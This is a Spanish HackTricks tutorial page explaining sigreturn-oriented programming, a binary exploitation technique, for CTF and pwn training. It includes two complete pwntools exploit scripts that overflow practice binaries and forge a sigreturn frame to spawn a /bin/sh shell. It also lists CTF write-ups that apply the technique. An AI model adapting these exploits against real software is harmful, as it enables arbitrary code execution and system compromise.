SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Información Básica
Sigreturn
es una syscall especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un manejador de señales, una función especial diseñada para tratar con señales.
Después de que el manejador de señales termina, el programa necesita reanudar su estado anterior como si nada hubiera pasado. Aquí es donde sigreturn
entra en juego. Ayuda al programa a volver del manejador de señales y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
La parte interesante es cómo sigreturn
restaura el estado del programa: lo hace almacenando todos los valores de los registros de la CPU en la pila. Cuando la señal ya no está bloqueada, sigreturn
saca estos valores de la pila, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
caution
Llamar a la syscall sigreturn
desde una cadena ROP y agregar los valores de registro que nos gustaría cargar en la pila es posible para controlar todos los valores de los registros y, por lo tanto, llamar por ejemplo a la syscall execve
con /bin/sh
.
Nota cómo esto sería un tipo de Ret2syscall que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
Si tienes curiosidad, esta es la estructura sigcontext almacenada en la pila para recuperar más tarde los valores (diagrama de aquí):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Para una mejor explicación, consulta también:
Ejemplo
Puedes encontrar un ejemplo aquí donde la llamada a signeturn se construye a través de ROP (poniendo en rxa el valor 0xf
), aunque este es el exploit final desde allí:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Revisa también el exploit desde aquí donde el binario ya estaba llamando a sigreturn
y por lo tanto no es necesario construir eso con un ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Otros Ejemplos y Referencias
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Binario de ensamblaje que permite escribir en la pila y luego llama a la syscall
sigreturn
. Es posible escribir en la pila un ret2syscall a través de una estructura sigreturn y leer la bandera que está dentro de la memoria del binario. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Binario de ensamblaje que permite escribir en la pila y luego llama a la syscall
sigreturn
. Es posible escribir en la pila un ret2syscall a través de una estructura sigreturn (el binario tiene la cadena/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función
gets
con falta de gadgets que realiza un ret2syscall. La cadena ROP escribe/bin/sh
en la.bss
llamando a gets nuevamente, abusa de la funciónalarm
para establecer eax en0xf
para llamar a un SROP y ejecutar un shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a
exit
. La syscall seleccionada es unsigreturn
que establecerá registros y moveráeip
para llamar a una instrucción de syscall anterior y ejecutarmemprotect
para establecer el espacio binario enrwx
y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read intro ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.